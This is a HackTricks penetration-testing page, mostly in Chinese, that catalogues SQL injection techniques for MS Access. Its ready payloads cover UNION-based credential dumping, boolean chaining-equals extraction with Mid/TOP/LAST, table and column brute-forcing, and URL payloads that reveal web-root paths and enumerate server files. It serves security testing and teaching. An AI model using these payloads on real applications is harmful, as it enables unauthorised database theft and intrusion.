hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

8.9 KiB
Raw Blame History

MS Access SQL Injection

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

在线游乐场

数据库限制

字符串连接

字符串连接可以使用 & (%26)+ (%2b) 字符。

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Comments

在 MS Access 中没有注释,但显然可以通过 NULL 字符删除查询的最后部分:

1' union select 1,2 from table%00

如果这不起作用,您可以始终修复查询的语法:

1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

它们不被支持。

LIMIT

LIMIT 操作符 未实现。但是,可以使用 TOP 操作符 将 SELECT 查询结果限制为 前 N 行TOP 接受一个整数作为参数,表示要返回的行数。

1' UNION SELECT TOP 3 attr FROM table%00

就像 TOP 一样,你可以使用 LAST 来获取 最后的行

UNION 查询/子查询

在 SQLi 中你通常会想以某种方式执行一个新查询以从其他表中提取信息。MS Access 总是要求在 子查询或额外查询中指明 FROM
因此,如果你想执行 UNION SELECTUNION ALL SELECT 或在条件中使用括号的 SELECT,你总是 需要指明一个有效的表名的 FROM
因此,你需要知道一个 有效的表名

-1' UNION SELECT username,password from users%00

Chaining equals + Substring

{% hint style="warning" %} 这将允许您在不需要知道表名的情况下提取当前表的值。 {% endhint %}

MS Access 允许 奇怪的语法,例如 '1'=2='3'='asd'=false。通常SQL 注入将位于 WHERE 子句中,我们可以利用这一点。

想象一下,您在 MS Access 数据库中有一个 SQLi并且您知道或猜测某一 列名是 username,而这是您想要 提取 的字段。您可以检查在使用链式等号技术时Web 应用程序的不同响应,并可能使用 Mid 函数通过 布尔注入 提取内容。

'=(Mid(username,1,3)='adm')='

如果你知道 表的名称 以进行转储,你可以使用 MidLASTTOP 的组合通过布尔 SQLi 泄露所有信息

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

暴力破解表名

使用链式等号技术,您还可以暴力破解表名,例如:

'=(select+top+1+'lala'+from+<table_name>)='

您还可以使用一种更传统的方法:

-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

暴力破解列名

您可以使用链式等号技巧暴力破解当前列名:

'=column_name='

或使用 group by

-1' GROUP BY column_name%00

或者你可以使用以下方法暴力破解不同表的列名:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping data

我们已经讨论过 链式等号技术 从当前和其他表中转储数据。但还有其他方法:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

简而言之该查询使用“if-then”语句以便在成功时触发“200 OK”否则触发“500 Internal Error”。利用TOP 10运算符可以选择前十个结果。随后使用LAST仅考虑第十个元组。在该值上使用MID运算符可以进行简单的字符比较。通过适当更改MID和TOP的索引我们可以转储所有行的“username”字段内容。

基于时间

查看 https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

其他有趣的函数

  • Mid('admin',1,1) 从位置1获取长度为1的子字符串初始位置为1
  • LEN('1234') 获取字符串长度
  • ASC('A') 获取字符的ascii值
  • CHR(65) 从ascii值获取字符串
  • IIF(1=1,'a','b') 如果则
  • COUNT(*) 计算项目数量

枚举表

这里 您可以看到获取表名的查询:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

然而,请注意,在您无法访问读取表 MSysObjects 的情况下,发现 SQL 注入是非常典型的。

文件系统访问

Web 根目录完整路径

Web 根绝对路径的知识可能会促进进一步的攻击。如果应用程序错误没有完全隐藏,可以通过尝试从一个不存在的数据库中选择数据来揭示目录路径。

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access 会返回一个包含 Web 目录完整路径名的错误消息

文件枚举

以下攻击向量可用于推断远程文件系统上文件的存在。如果指定的文件存在MS Access 会触发一条错误消息,告知数据库格式无效:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

另一种枚举文件的方法是指定一个 database.table 项目如果指定的文件存在MS Access 会显示一条数据库格式错误消息

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb 文件名猜测

数据库文件名 (.mdb) 可以通过以下查询推断:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

其中name[i] 是一个 .mdb 文件名realTable 是数据库中存在的表。尽管 MS Access 总是会触发一条错误消息,但可以区分无效文件名和有效的 .mdb 文件名。

.mdb 密码破解

Access PassView 是一个免费的实用程序,可用于恢复 Microsoft Access 95/97/2000/XP 或 Jet Database Engine 3.0/4.0 的主数据库密码。

参考文献

{% hint style="success" %} 学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}